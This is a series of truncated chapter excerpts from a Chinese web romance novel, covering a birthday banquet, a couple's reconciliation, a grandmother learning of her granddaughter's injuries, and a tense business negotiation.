“你注意看上面。”程三好不放心提醒了一下,顺带解释,“肖乐保帮我跑腿去接人了,现在在回来的途中,来不及参加你的生日宴会,但托我带了礼物给你,还有赵柯也是,他忙着找房子住就来不及赶过来,礼物也托我带了。” 怪不得,礼物有三个。许琪这样想着,低头第一眼看到的就是贴在礼物盒上的卡通便利贴,上面画了一个头戴王冠的公主,旁边还有几行字:祝我的小公主妹妹生日快乐!玩得开心! 她心里抽了一下,垂眼的几分钟不知道在想什么,再抬眼时,已经露出释怀的笑:“下次罚他多准备几个礼物。” 韩小希听她说过告白的事,当下拍拍许公主的肩,说:“我的礼物正在全力赶来这里的路上,它已经很努力了,你该不会因此生气了吧?” “太慢了,”许琪将礼物放到侍者手里,微笑着,“不过我还是很期待的,那你们多转转,我先失陪。” 韩小希挥手:“去吧去吧。” 她说完扭过身,满脸好奇问程三好:“肖乐保那小子不会是找借口逃避吧?” “不是,”女生能量看上去已经要耗尽了,语气懒洋洋,“是真帮我的忙。” “哦,原来如此,我还以为他怕尴尬就当缩头乌龟了哈哈。” 韩小希今天短发编织起来,露出有点圆润的脸蛋,一笑起来特别喜庆。见朋友的目光落在自己身上,她夸张地往后仰了仰身体,神情“不好惹”:“你——不会是要说什么吧?” 女生瞧着她,突然情不自禁地笑起来,眉眼一弯,似乎恢复了生气,特别鲜活,在场的男宾客一时间看傻了眼。 程三好的牙齿生得特别整齐,还很白,这可能是她笑容特别容易让人记住的某个因素。 多么美好的女孩子啊。周围人不由这样想,然而下一秒就听到了她嗓子里发出来的声音。 “哈……哈……哈……” 众人:“……” 不是,怎么有人笑声是一抽一抽的,还带着明显地倒吸气呢。 韩小希哪怕见过程三好这个样子,但每次都被逗得不行,无情地挥手笑道:“三好,快别笑了,不然大家都要被你迷死啦。” 看戏的嘉宾:“……” 最后面面相觑,干笑着转移了视线。 “哈……哈……哈……”女生像是被戳中了笑点,再次笑出声,憋笑让她肩头一抖一抖的。 江砚一忙完手头的工作就飞速赶往这里,来参加表妹的生日宴会,他刚到来不及反应,就被许父抓了过去,和长辈们寒暄。 他举杯和别人碰了一下,抬眼极其细微地扫了一下下面的人,见到熟悉的背影,才浅喝了一口红酒。 “小砚,你爷爷身体最近可好?”许母牵住女儿的手,站在许父的身边问了那么一句。 男人点头:“还不错,就是放不下心我。” “哎哟,”许父像是深有所感,“可不嘛,你可是他唯一的孙子,也许,你赶紧成家,说不定他老人家就要安心很多啊哈哈。” 许母隐蔽地拍了下自己家丈夫的屁股,笑容慈祥:“话说有没有心仪的女孩子啊?没有的话,姨妈认识好几个非常不错的女孩子,回头介绍给你怎么样?” 江砚虽然人在与长辈说话,但是没怎么认真,眼睛时不时瞄向某个位置,看着人群边缘的女生突然弓腰笑起来,特别开心的样子,他也忍不住跟着嘴角微扬,谁料这个微表情被许琪的爸妈看在了眼里,误会成了另一个意思。 许母像是已经促成了一桩姻缘了一样激动地一拍手,神 47. 吃醋了,要哄 《身体不说谎》全本免费阅读 奈何许母就像没看到许父的表情一样,只是看着女生,似乎要得到一个答案。 程三好似没感觉到隐隐的压力,面上淡定,语气沉稳,真挚不讨巧:“没有的事,我只是在节目里做好自己的工作,而她也只是诚实的表露自己,我们之间没有不好相处,我尊重任何人的性格,当时的那句话也只是对事不对人。嗯,就只是这样。” 她说完,在场的人都松了口气,露出些许笑容,纷纷向许母投去了目光。 “你很漂亮。” “啊?” 众人微微张大了嘴巴,还没有从刚才剑拔弩张的氛围里完全解脱,怎么突然画风就变了。 程三好谦逊地点头:“谢谢。” 许母目光赞许,言语缓和很多:“小琪能有你这个朋友是她的荣幸,不要紧张,我又不吃人。” “紧张?”女生伸手在自己的胸脯感受了一下,“是有点。” 穿着贵气的女妇人这下是真被逗笑了,惹得许父连看了好几眼妻子,感觉心头有只老鹿在撞。 其余人不约而同地想到一句话:美人在骨不在皮。 许母上了年纪使她衰老是真的,但是绝美的骨相摆在那里,岁月的流逝带走了饱满光滑的皮肤,却带不走她优越的底子,这个时候的年龄反而给她镀上另外的光环,呈现不一样的魅力。 “好了,”许母敛了敛神色,整个人变得柔和,“小辈们有自己的话要聊,咱们还是不要扫兴得好。走吧,接下来要到吹蜡烛的环节了。” 许琪挽着母亲的手臂转身走了几步,等确认其他人听不到后,才语气有些埋怨地说:“妈妈,你为什么要为难我的朋友?” “啊?”许母装傻,“哪有,别污蔑你妈我。” 眼见自家女儿要不开心了,她笑道:“那孩子性子挺酷的,我喜欢。” 许琪听她这么一说,突然觉得母亲和程三好在某些方面还挺像的,平时说一不二,偶尔调皮。 “也是,要是你刻意刁难人,才不会这么温柔呢。”许公主噘嘴,觉得自己把她妈看得透透的了。 许母看着自己这个女儿,无奈地说道:“是是是,走吧,宾客们都等着呢。” 天色不知何时暗淡下来,余晖撒在天际,大厅里的灯光全部关了,许琪戴着生日礼帽在最前面的中央,神情期待。 不稍片刻,众人之间分开一条路,侍者推着个十九层巨大蛋糕缓缓来到许琪的面前,与此同时,众人和声唱到:“祝你生日快乐……” 烛光映照着她的脸,许母温声说:“乖乖,闭眼许愿。” 许琪照做,双手合十。 在场的所有人都没有出声,静静地看着这个集万千宠爱长大的公主。 “呼——” 许琪许完愿望,努力地一吹,蜡烛熄灭的瞬间,房间内的灯光一齐亮了起来。 “哦——”大家欢呼鼓掌。 程三好跟着鼓掌,还没反应过来,手就被谁拉住冲出了大厅,来到外面阳台。 晚风吹拂,夜幕降临。 缤彩纷呈的都市于此望去,一目了然。 程三好站在栏杆边,看了一眼旁边的男人。 她欲言又止,她又沉默寡言。 男人像是没感受到身边人的目光,背对着灯的他侧脸绷成一条线,嘴角抿紧,神色捉摸不清。 程三好再次瞄了一眼江砚。 男人目不斜视,一心看美丽夜景。 女生扭头又瞄了一眼。 江砚心里无声地叹了口气,对自己感到好笑,明明她欺骗了他的感情,结果都这个时候了,他竟然还觉得女生的这个行为很是招人疼。 他妥协了,正欲开口,手指突然被勾住。 “对不起。”程三好道歉。 她耳朵红成一片,正面对着男人,低头看着地面继续说:“这件事是我不对,你别生气。” 女孩子的指尖非常烫,声音非常轻微。 江砚愣住,没想到女生会先说。 他感受着手指的温度,完全不敢动弹,僵硬着身体,一时间没有说话。 “我和方一明没有交往,只是假装,他的父母我还没来得及说。” 程三好随着话说出口,内心的紧张稍缓,抬头见男人还是侧着身体。 她皱了皱眉,像是被难住了。 程三好没辙,食指点了点男人的掌心,:“江砚,别不高兴。” 男人终于有反应了,转过身看着女生,有点意外:“你在哄我?” “嗯,”程三好停顿了一下,神色有点挫败,“抱歉,我第一次哄人,技术好像不行……” 江砚空出的另一只手突然捂住自己的下半张脸,想要借此来掩饰内心疯狂的喜悦。 女生的坦诚让他丢盔弃甲,彻底臣服。 男人缓了缓,看向程三好,两人对视上。对方的眼睛又黑又漂亮,还很干净,没有什么红血丝,见他望了过来,眉眼不露声色地弯了一下。 她在等这个对视。 江砚莫名就读懂了她的笑容。 心脏加快了跳动的频次,一颗早已发芽的种子长出绿叶。 他倏地不敢直视女生,眼神难得飘忽,看向旁边,却凑巧地注意到窗帘后面有个黑影。 江砚眉头皱了一下,没有发出声音,正要靠近…… “哐当!” 黑影不知察觉到什么,一下就消失在原地。 程三好听着动静,望向后面的位置。 “有人?”她问。 江砚“嗯”了一声,用手虚拢在女生的腰后,说:“先进去吧,也许是打扫卫生的保洁。” 程三好完全没有多想,与男人并肩离开了阳台。 厨房后台,主管看到迎面走来的人,脸色黑着,语气很冲:“刚去哪儿啊?擅自离开岗位,不想干了是吧!” 男子身形偏瘦,有点驼背,低着头神情看不清,但是能看到他垂在身体两侧的手握成了拳头。 主管一看他这个样子就来气,手指着他,还要骂,一位上了点年纪的大厨急忙站出来解释。 “抱歉,管理,是我没跟你说,前厅有位客人急要牛排,就安排小罗去送了,十分抱歉忘了与你说。” “那这满地的油污谁擦?”主管倒是没再咄咄逼人,但是语气依旧不好。 林大厨始终是微微鞠躬的姿势,说:“伙伴们下班后,我会和小罗 48. 总是想笑,没有办法 《身体不说谎》全本免费阅读 宴会结束时,韩小希喝醉了。 程三好基本没喝,所以整个人很清醒,准备打车先送她回家。 宾客都走得差不多了,只有零星几个服务员在收拾场地。 夜色颇深,花坛里传来此起彼伏的蛐蛐声。 她架着人站在餐厅一楼大门处,单手拿着手机划开,低头正要下单,肩上忽然一轻。 程三好扭头,原来是江邱把韩小希接了过去。 “他会把人平安送到家的。”江砚的大衣搭在肘间,看着女生说道。 “嗯……这会不会太麻烦他了?”程三好有点犹豫,毕竟韩小希家离这里可不近。 江砚还没说话,江邱就接过话头,精神气很好:“不会,我正好想绕着城市兜兜风,顺手的事儿。你别担心,我绝对会给你把人妥妥帖帖地送到家。” “好吧。”程三好想反正她和韩小希家完全是相反的方向,所以就答应了。 江邱扶着人走后,原地只剩下江砚与女生,他看着她的侧脸,眼眸一动,语气平静:“走吧,你送我。” “……” 程三好有点错愕,伸手指着自己,像是在确认什么好笑的事情一样:“我吗?” 第一次显露出腹黑底色的男人颔首,言辞认真:“对。” “……”女生有点难以置信,歪头去仔细地观察江砚的表情,想要找到一点破绽。 江砚稳得一批,甚至学着程三好的动作,歪着头凑近,眼角带着微微的笑意。 “怎么了?”他嗓音低。 女生一下往后仰,迅速拉开二人之间的距离,低着头打开手机。 “我勉强信你鬼话,”她语气如常,扒拉了一下耳朵,“不过只能打车,受不了及时说。” 江砚见她真的要下单的架势,扭过头,抬手遮鼻笑了一下。 “好了,”笑够了的男人伸手附在程三好的手机上,阻止了她动作,“逗你的。” 女生没有看他,视线落在江砚的手臂,定定地看了好半晌。然后,像提垃圾一样捏住他的衣袖拉开,神情十分真切:“不要害羞,我会先打车送你回家,然后自己又打车回到自己的公寓。” 意识到女生没有生气,反倒将了他一军,江砚一噎,无奈妥协,终止了这场滑稽的对话,“在我这里,是不会发生这样的场景的。” 说着他掏出一把车钥匙轻按,大门马路边的宾利车立马响应地叫了下。 …… 与以往的感受不同,这一次坐在副驾驶,前面视野更加宽阔,空间也要大些。 程三好扭头看着窗外飞驰而过的景色,双手安分地放在膝上,不敢乱瞟。 好奇怪,明明前排的空间不狭窄,可她竟然觉得比后座要逼厄。男人这次亲自开车,聚精会神地盯着前面,而这个时候的副驾驶座就像是服务一种关系更为亲密的人一样。 “阿嚏——”程三好想着想着突然捂嘴打了个喷嚏。 繁华的大都市此时马路上的行人或者是街边摆摊的人都不少,热热闹闹的,然而一分钱一分货,豪车将所有的噪音隔绝在外,半点未泄进来。 “感冒了?”江砚开车很专心,目不斜视地问了一句。 也许是他的脸太过温和,亦或者是声音放轻的缘故,在黑夜里,这样疏松平常的一句问候竟然显得有点温柔。 程三好恍若未觉,搓了搓手臂,语气淡然:“没有,可能是有人在想我。” 江砚猝不及防地笑了出来。 女生总是喜欢顶着那么一张漂亮又冷静的脸开些小幽默,他每次都忍不住想笑,心里痒痒的。 真有意思,江砚忍不住想着,完全没注意到女生的眼神。 男人还是第一次这么笑得开怀,桃花眼都眯了起来,笑声不粗鲁,整个人特别松弛,路灯划过他的脸,竟然有点痞痞的味道。 程三好抿了抿唇,移开了视线。 从餐厅到公寓的距离有点远,但是时间流逝得特别快,等她再睁眼,已经到家了。 “醒了?” 她闻声看去,见主驾驶座的门开着,江砚保持着要进来的姿势,神情有点意外。 这时程三好才看到身上披着的黑色商务大衣,恍然明白,原来自己是睡着了。 她“嗯”了一声,坐直身体,开始叠衣服。 眼皮耷拉着,没有精神气,但是动作很认真。 江砚见她与平日里不一样的“乖巧”,眼底又有了笑意。 他抬腿进了车里,顺手关上车门。 程三好叠好了,看着膝上的衣服很满意,扭头冲江砚有点开心道:“谢谢你送我回来,那接下来该我送你了,开车。” “……” “你喝醉了?”江砚视线一直落在女生的脸上,微微挑眉说道。 程三好像是不满他的措辞一般,皱了一下眉头,否认:“没有。” 江砚有点摸不准她的状态,怎么往日里高冷淡漠的女生突然语气亢奋起来了。 他试探着问:“回我家?” 女生微笑着点头,动作一顿一顿的,连带着身体有点晃。 “……” 江砚伸手搓了搓自己的脸,拿过刚买来的感冒药交到程三好的手中,解释:“你可能受凉了自己不知道,这是药,每天三次,一次两颗,饭后及时吃,还有,” 他拿过女生叠好的衣服纹丝未动地放到置物箱上,扭头看着人,语速很慢:“你可能喝醉了自己也不知道,待会儿下车上楼好好休息,好好睡觉。” “哎……”女生听他说完,情真意切地长叹了一口气。 江砚刚正经不过几秒,差点再度破防,强忍住笑意问她:“又怎么了?” 程三好满脸不理解,语气都有点幽怨了:“我宴会都没喝酒,怎么会醉呢。” “好,那就是没醉,我的错。”在这样拉扯下去,天都要亮了,所以江砚决定不跟醉鬼计较。 女生高兴了,拍了拍男人的肩膀:“谢谢你的药,你也早点回去吧。” 这个堪称朋友之间才会有的行为动作却是一下刺中了江砚,脸上挂着的笑意刹那就消失个干净。 他反手抓住要离开的小手,飞快拉近二人之间的距离,几乎要到了脸贴脸地步。 “……”不发一言,只是目光像有实质一般看进了程三好的眼里。 女生懵懵地与他对视,绷紧着身体不敢动。 “……” 见男人还是不说话,程三好想问怎么了,然而他们之间的距离太近了,只要开口,一定会呼吸到对方的脸上。 光是这么一想,她就有点不自在,飘忽着眼神,移开视线。 对方还是没有动静,程三好抽了抽手,没成功。 她被逼无奈又转过来,看着前面的人。 男人打蜡的头发已经不怎么坚固,有几缕发丝松散下来,微微搭在眉毛上。 眉弓还是一如既往的锋利,鼻梁山根高,嘴唇不厚不薄,微微抿紧。 视线胡乱飘着,突然撞进对方桃花眼。 那眼神深邃,瞳孔里倒映着她。 一股热潮突然从胸口一路攀升至脖颈,并迅速晕染开来,程三好受不了,慌忙低 49. 外婆 《身体不说谎》全本免费阅读 她擦了擦嘴,神色震惊:“外婆,你为什么这么问?” “没什么,就是随口一说。”黎芳园显然不打算放过,只是执拗道,“你就回答我的问题就好。” 程三好满眼真诚:“没有。” “嗯,”黎芳园也不知满意不满意,接着发问,“有男朋友了吗?” “没有。”女生摇头。 眼见外婆还要八卦,程三好将玉米糊喝个精光,完了,把碗放在茶几上,转移话题:“外婆你什么时候到的啊?” 黎芳园果然被她牵着走,说:“一小时前,你那个朋友我本来要留他下来吃饭的,但是男孩子太害羞了,怎么也不肯答应,给了我你的钥匙就开车回家了,回头你得好好感谢人家。” “嗯嗯,当然。” “他叫肖乐保是吧?” “对。” 黎芳园垂下眼皮,转瞬抬了起来,神情有点怪:“人不错。” 程三好没有察觉到其中的深意,只是诚实地点头:“他人是很好。” 老人含蓄地一笑,目光突然扫到外孙女刚才放下的碗,神色一凝:“你吃完了?” 女生捂着暖烘烘的胃,有点心虚:“我太饿了。” 黎芳园的虎脾气在十里八乡是出了名的,唯独对着这个自己一手养大的孙女儿没辙,时常妥协。 她叹了口气,捏了捏三好的脸:“你啊,不是从小教你晚上不要积食吗?” “可外婆你做的这一口实在是太美味了,又香又糯,不过分酸又不过分甜,吃了一口根本控制不住。我又是好久好久没吃了,你说说,我能不吃完嘛。” 女生声情并茂地狂吹彩虹屁,成功逗笑了黎芳园。 “就是会嘴贫。” 婆孙俩对视一眼,氛围好不融洽。 二人简单洗漱后,程三好没让外婆去客卧睡,而是让她睡在自己的房间。 离开时,黎芳园叫住人:“三好。” “啊?” “今晚要不要和外婆睡?” 程三好开心应了。 躺在床上,女生先给外婆盖好被子,自己才睡进被窝。 “好好。”黎芳园看着天花板突然叫外孙女的小名。 程三好愣了一下,片刻才在黑夜中“嗯”了一声。 “这几年过得好吗?”老妇人正面躺着,神色隐没在黑暗中看不清。 “很好。”女生有点欲盖弥彰,“我前段时间不是跟你说了吗?我接到了一个好综艺,凭借我的优秀,我现在可是拥有了很多粉丝的人,以后说不定也会有大导演找我拍戏哈哈,你就等着我……” “身上的伤怎么回事?”黎芳园打断她,不同于程三好欢乐的语气,她的语气有些沉重。 完了,女生暗自想,没注意到这点。 她内心慌乱,表面依旧镇定:“拍戏不小心受伤了,不严重,就是看着吓人。” “你不是说你正在拍综艺吗?哪来的戏?”老婆子这个时候耳聪目明,抓住漏洞转过身询问她。 “综艺也是戏啊。”程三好打着哈哈,佯装嘲笑,“看来外婆你落伍了,现在综艺也是有剧本的,受伤之类的很正常。” 黎芳园看着人,眼睛都不眨一下,作为世界上最了解外孙女的人,她看出了端倪,语气开始有点不好了:“谁打的?” 她一生气,整个空气都稀薄了几分,程三好强撑着,嘴硬道:“就是拍戏受伤的啦。” 老婆子压根不信她的鬼话,眉宇间压着愤怒,说:“程伟国?” 她本意是随口一猜,但是女生停顿了一下,虽然是极其细微的一点。 “他娘的逼崽子!”黎芳园看出来了,暴喝一声从床上弹起来,面目可怖,“我宰了他!” 程三好急忙跟着起身拉住人,焦急解释:“不是他,不是他,外婆你先别急。” 黎芳园的一只脚已经到了地面,头也不回地说:“别拉我,我要去砸死程伟国那狗崽子。” “先听我说,好吗?外婆。”女生放软了声音。 “没事,我去打死他就回来听你说,三好,放手!” 程三好没放,突然“嘶”了一声。 刚才还扭得像钢筋麻花的老婆子立马放弃了念头,转过身看女生。 “怎么了?” 程三好就势松了手,神情痛苦地捂住肩膀,低着头没说话。 黎芳园慌了,从床上横穿过去,临到跟前也不敢乱碰,焦急道:“这是扯疼了还是怎么?你说话啊。” 女生撅着嘴,佯装委屈:“本来肩膀的伤就没好,外婆你还一点都不关心。” 小老太婆吃瘪,自认理亏,犹豫一瞬,气势咔咔咔掉。 “我送你去医院。”说着就要下床。 程三好没动。 黎芳园一看她这情形,顿时束手无措,只能试探着说:“还生气呢?” 女生重新躺下,侧过身,只留一个背影给她。 “没有。”语气可不像回事。 黎芳园愤怒的情绪彻底没了,又不好拉下脸道歉什么的,只是打算下床去找些药。 “睡觉。”后脑勺像是长眼的程三好无波无澜地说了句。 老婆子当即刹住车,神色十分尴尬地上床躺下。 闹腾了大半夜,终于安宁了。 程三好无声地叹了口气。 她如何不知外婆是为了给她出气才会有这样的行为,她该高兴的,但她不能高兴。 如今和程家算是彻底地对立了,她一个上了年纪的老人又能怎么着呢。 就怕程伟国像打她一样,控制不住对黎芳园动手,到时候才是真正让她不顺心。 …… 按照手机上的定位,程三好第二天就去了肖乐保的工作室。 站在一道上面写着“一夜暴富”几个红色大字的门前,又看了一眼年久未修的楼道,以及旁边挂着蜘蛛网的窗子,她再次确认了一下定位。 尽管感到疑惑,她还是抬手按下了门铃。 “叮咚——” 过了一会儿。 “叮咚——” 还是迟迟没有动静。 女生终于不耐烦了,上手就推,没成想差点顺着力道栽了进去。 原来门没有完全关上。 带灰的门撞上屋内墙壁,掀起了更多的灰尘,紧接着一股堪称“杀人”的魔音涌入了耳膜。 程三好将提着的饭盒往怀里躲了躲,顺着前面看去。 只有二十平左右的客厅被夷为平地,上方天花板的墙皮掉了一半,杂乱的地上坐着几个青年,他们有的在敲打架子鼓,有的在弹奏吉他,有的在前面拿着个麦克风疯狂伸着脖子在唱歌,还有个戴眼镜的坐在一张电脑桌前,正在记录着什么。 他们完全沉浸在自己的 50. 第一次博弈 《身体不说谎》全本免费阅读 淮市一中,省思阁三楼。 “要我与你扮演情侣?” 几人站在楼道里,程三好换上了校服,正等待开拍,然而看着同样身穿红白相间校服的肖乐保,她终于意识到了不对。 男生贱兮兮地补充:“只是在mv里。” 女生总是淡淡的神情终于龟裂般炸开了一点,看样子及其不情愿。 起初这只是源自一场仗义的帮忙,后来演变成无法收场的“事故”。 肖乐保眼角掩饰不住的得意,有种农民翻身把歌唱的意味,因为这首音乐写的主题是校园暗恋,也就是作为女主角的程三好要在mv里面偷偷暗恋他,而他则是高岭之花,落花有意,他落水无情。 “考验你演技的时候到了,大哥。”他神色不显,言语鼓舞。 程三好还不了解他,兀自转身进了图书馆。 …… “韩先生,我想我上次已经拒绝得很明显了?” 一家私人高级餐厅某个可开放式包厢,萧童盘腿坐着,向对面的人不咸不淡地说道。 极具国风特色的木屋推门微掩,露出门外的好风光。 外廊道房檐悬挂着铁马,雨滴在上面,敲出规律的音符,再远些,一片野生竹林拔地而起,葱葱郁郁,好不养眼。小竹林旁边则是一天然池塘,鱼虾嬉戏其中,自由畅意,池塘上方架设着一座古风木桥,很是应景。 韩至抬起蓝玉瓷杯缓缓浅酌一口,没有急着说话,而是示意她看外面。 萧童耐着心中烦闷,瞥了一眼就迅速收了回来,显然敷衍了事。 韩至余光里见到她此番行为,薄唇微启。 “有些时候,我们总是忙于执着一件事或者一个人,而丢失了对自然的探索和热爱,适时的妥协可能才是最好的良策。”他的手指修长,微微曲着,被茶杯映衬得很白,腔调也不急不慢地,似是有所指。 萧童连装也不装了,直接摊牌:“上次踩到你的脚,我当时就已经道歉了,你没必要一直纠缠,需要多少钱尽管开口。” 韩至放下杯子,轻磕在桌面,这才抬眼正面看向萧童,说:“我不差钱。” “那你要什么赔礼?”萧童今天戴着眼镜,头发在脑后扎了个低马尾,身上着一套灰色西装,气势有些凌人。 男人眼睛毫不掩饰地打量她,微微倾身向前,左耳的那颗黑色耳钉十分夺目。 “以身相许?”说出来的话却十分混账。 萧童面不改色,直言:“韩先生,你有什么目的就说吧,拉扯的时间可以了。” 她一句道出真相,丝毫没有因为眼前这个帅气的男人而动了任何念头。 韩至后退开身子,有点服气了,也不绕弯子,开明见山道:“实不相瞒,我对萧小姐前不久刚完结的小说《阿郎》很感兴趣。” “嗯。”萧童示意他继续说。 “我拜读了很多遍,很是喜欢。刚好最近我公司准备筹拍一部有关文艺青春的电影,所以我想向你购买这部小说的电影版权。” “你公司是?” “上信娱乐。” 听到这个名字,萧童记起来,说:“你们相关工作人员联系过我的责编,编辑也与我说过,但我当时就拒绝了。” “我知道,”韩至没有半点不好意思,依旧是那副胜券在握的姿态,“也许是诚意不足,所以我才会找到你,与你亲自面谈。” 萧童见食物上了,也不客气,拿起筷子就吃,头也不抬地说:“结果你也看到了,我还是不同意。” “嗯,可以问问你拒绝的原因吗?”韩至没动筷子,态度有点放低了,“毕竟买版权这件事对一个作家还是十分重要的吧?” 萧童顿了一下,接着像个没事人一样说:“我了解过你们公司,之前制作的电影普遍偏大众化,很明显在迎合市场,我这部小说不适合,没有商业价值,你卖不了几个钱。” 韩至有点意外地挑眉:“的确是这样,毕竟我是商人,但是我也不能一直追求票房,口碑的打造也是十分重要的。” “……抱歉,但我还是不能卖给你。” 局势僵持住,韩至想了想拿出最后的杀手锏:“其实我和狸影巨业集团三年前签了对赌协议,从而开启了追影计划,事实证明在票房上我是成功的,如今已经步入到尾声,我希望用一部无论是美术摄影还是文案都很好的影片来结束,从而划上圆满的句号,到时候我对赌胜出,无论你与我提任何要求,我都会帮助你。” 这番话可谓是十分真诚了,萧童态度也没再那么强硬,给他提建议:“类似我这部小说风格的市场上很多,你完全可以找到其他佳品。” 韩至笑笑:“但我就是觉得萧小姐写的这本好。” 萧童犹豫了,放下筷子转了转眸子。 屋外下起了小雨,雨声淅淅沥沥,池塘水面荡起一层层涟漪,竹叶更加葱郁。 韩至以为这次稳了,但是天空突然响起一声惊雷,闪电照亮了屋内,他听见了女生的声音。 “抱歉,我还是不能同意,”萧童面露歉意,像是为了弥补心中的愧疚一般,她又多说了几句,“因为我的小说男主角早已敲定了。” “没事,我可以邀约他当主角。”韩至并不打算放弃。 萧童摇了摇头,这一次坚决了很多,像是想通了什么。 韩至的眼底渐渐泛起冷意,双手缓缓交叉在一起。 “你家……” 他刚吐出两个字,这时房门突然被人从两侧拉开,寒风裹着雨水卷进了屋里。 房外站着两个男人,其中一个举着黑伞,拉开门后就微微退后两步,站在另一个男人侧旁笔直站好,伞明显是在为那人在打。 伞下的主人身高体型更为优阔,合体剪裁的西装,很好地体现出他猿背蜂腰,螳螂腿的特点。一丝不苟的背头,让他冷然的气质更添严肃,凌厉的双眼微微向下垂着,似是对世间万事早已倦怠。 二人一身黑,站在外廊道间,挡住了任何想向屋内跑的光芒,周围一时之间安静极了。 韩至不再从容,皱了一下眉头,正要开口说话,就见那黑伞微微向上抬了点高度,彻底暴露出伞下的主人面容。 那人轻轻调转目光,锁住了他,高挺的鼻梁下,淡色的薄唇微启,开口说话了。 “你就是韩二?”嗓音拢在风雨里,却清晰可闻。 韩至看清对方脸时,尽管再怎么故作冷静,手指还是不可遏制地捏紧了杯子。 他听到了男人的话,脑子里却反应的是对方那堪称绝对压制 51. 合作? 《身体不说谎》全本免费阅读 “哦?”韩至像是没感知到对方话语里的冷意。 江砚垂下目光:“适才韩总是与萧小姐约会?” “……”韩至的笑有点勉强,“还在追人的阶段。” “可我看对方不是很情愿。” “她对我有所误解,以后会答应我的。” 江砚不认同地手指在空中摆了摆,似是意有所指:“韩总的过往里应该是没有交过女朋友,所以就不是很懂这男女之情,非是你情我愿,莫做纠缠,不然在对方眼里,我们男人与流氓有何区别。” “江总说的有道理。”韩至明白了其中的警告意思,就驴下坡顺着他的话回应道。 只是下一秒他画风一转,面上正经说道:“竟然江总你本人都到这儿了,不如我们来聊聊合作?” “哦?”江砚像是被勾起了兴趣,“就凭你那个产业单一的小公司?” “我的公司虽小,的确拿不出什么大的项目,但是我手中也许有你想要的东西。” 江砚没有急着表态,手指有节奏地敲打着桌面。 韩至见状,也不恼怒,只是继续说:“江总年纪这般轻,却已经牢牢掌控了江财集团多个重要权利机构,不论是外界还是内部,我想对你非议不满的人员很多吧。虽然我这么说有点冒犯,不过这的确是你现在要面对的问题不是吗?所以你才会不断地忙碌奔波,就是为了证明给我们这些人看,给董事会的那帮老家伙看。” 对方的语气渐渐嘲弄,江砚却还是一如既往的冷静,淡淡给出个模棱两可的答案:“也许就像你说的那样吧。” 韩至很是能耐得住性格,语气还是游刃有余:“话说公司那么大,难免会有些不恪尽职守的人存在对吧?那么哪个环节出问题,会影响你的计划吗?” 他后面的半句话说得很轻,就像玩笑话一般轻飘飘。 江砚敲桌面的手指倏地停下了,嗓音就像浸在寒泉里一般,让人莫名发冷:“你可以尽管试试。” 韩至挥了挥手,说:“误会误会。” “我没那个兴趣,只是……”他终于露出了得意的笑容,“我手中的人对你们江家感兴趣。” 一直沉默的江邱表情瞬间变得凝重,从韩至的话里琢磨出了点什么东西。 江砚的下颌骨分明,从侧面看去,锋利得像把刀,然而最为凌厉的要属那眉峰,微微一抬,那种肃然的气息顿时刺向了对面。 “既是要谈合作,韩总还是拿出点诚意好。” “自然自然,等事成之后,那人我定会送到你面前。” “那说说吧,想要合作什么?”江砚收敛了神色。 韩至自始至终瞧着都挺放荡不羁的,现在亦然。 “《阿郎》的版权卖给我,而你们要办音乐节的那块地皮我让利一成,连带着那人也会与你见面。” 江砚来之前已经了解过关于萧童写这本书的初衷,但是只要他开口,她肯定会同意,但她不会乐意。 韩至提出的条件太诱人了,或者就是江砚当下想要的东西。 男人沉默了会儿站起身,江邱连忙上前给他披上衣服。 江砚从上而下地看进韩至的眼里,薄唇动了动:“看来我们是谈不成了。” 说着转身欲走,后面的人也没见失望,慢悠悠地道:“江总,你二叔很是想念你,你确定不见见?” 江邱内心又气又急,偷偷看向旁边的老板,看到他咬了下牙关,深邃的眼眶里不见情绪。 他想开口说什么,江砚抬腿跨过了门槛,径直走向了雨帘。 “哎,老板!”江邱打开伞慌忙跟了上去,替他挡住雨。 人走茶凉,韩至不再是那副笑嘻嘻没个正经的样子,冷漠的样子让来添茶的侍者不由地紧张。 …… 自从上车后,男人闭着眼睛靠在后座,没发一言。 江邱透过后视镜看了一眼,欲言又止。 他想韩至的话是带有偏见的,江砚作为江全驰唯一的孙子,他辛苦打拼下的心血,必定不会让旁人捡了去。 可培养一个继承人当真如此简单?作为备受祖父期待的江砚又会轻松吗? 的确在大多数人中,最起码他出身就含着金钥匙,享受着别人一辈子都无法拥有的财富和待遇,但这背后也是数不清的争夺和残忍。 江全驰无疑是爱他的孙子的,但同时也是自私的。从江砚诞生到这个世界上时,他的命运便不由他说得算,连选择的机会都没有就默认了这份肩上的责任,很小很小就失去了所谓的自由,不断地学习,不断地被江全驰拉入了这个商人的圈子。 在江家,没人会在乎江砚真正想要干什么。 高中时投稿的照片获得了某个活动奖金,他回家与祖父说这一件事。 江全驰很高兴,说:“不愧是我孙子,真厉害。” 江砚自小性子就比其他孩子冷淡些,但听到夸奖还是忍不住内心高兴,然而这份高兴没有持续哪怕多一秒,在听到爷爷的下一句话时,彻底坠落深渊。 “下午我约了黄总,待会儿你和我一起出席,不要忘了啊。” 这样的场合已经数不清多少次了,他虽然可以不用喝酒,毕竟是未成年,但是礼节一个不少。 放学后的傍晚,晚霞很是好看。 他坐着豪车,窗外是嬉戏玩闹追逐的青少年。 他们脸上洋溢着喜悦,他们自由得像鸟一样,可以飞去任何自己想去的地方。 霞光穿透绿树枝丫零零散散地打在江砚的脸上,毫无情绪。 嬉笑声随着车子的向前渐渐淡去,脱下校服,换上西装的少年,被迫成长。 父母意外去世后,他很少与人交流,却又在祖父的“带领”下不得不交谈。 爱好梦想这些东西在成长的路途中被渐渐丢弃,等众人反应过来时,江砚已经变成个冷漠唯利是图的“混蛋”。 无数人簇拥着他,也有无数人在背后骂他。 江全驰作为这一事件完全的主导者,在看到冷漠得似冰寒一般,心思缜密得无孔不入的孙子时,有时也会忍不住想,是不是自己做错了,但转瞬又会感到一点庆幸。 他成长为如今这般,也好,那些黑暗和邪恶涌来时,即使没有他这个祖父,江砚也能独当一面甚至比他还狠地稳住脚跟,护自己周全。 世上多是身不由己之人,他江砚也不过是滚滚浪沙中的一员罢了。 …… 江邱再次看向后视镜,突然与老板对视上。 刹那间 52. 往昔一角 《身体不说谎》全本免费阅读 “哐当——” 江邱自然看到了这个音乐mv,他内心感叹拍得好好时,后座突然传来声响。 他急忙往后看去,动作幅度有点大。 一看,才发现老板的笔记本掉到了座椅下,而他微微弓着身体,右手正在不断地按摩太阳穴,神情看上去正压抑着某种剧烈的痛苦。 江邱嘴巴微张要说话,视线里划过一滴血。 他反应迅速地打开车门下车,又打开后座抬腿坐进去。 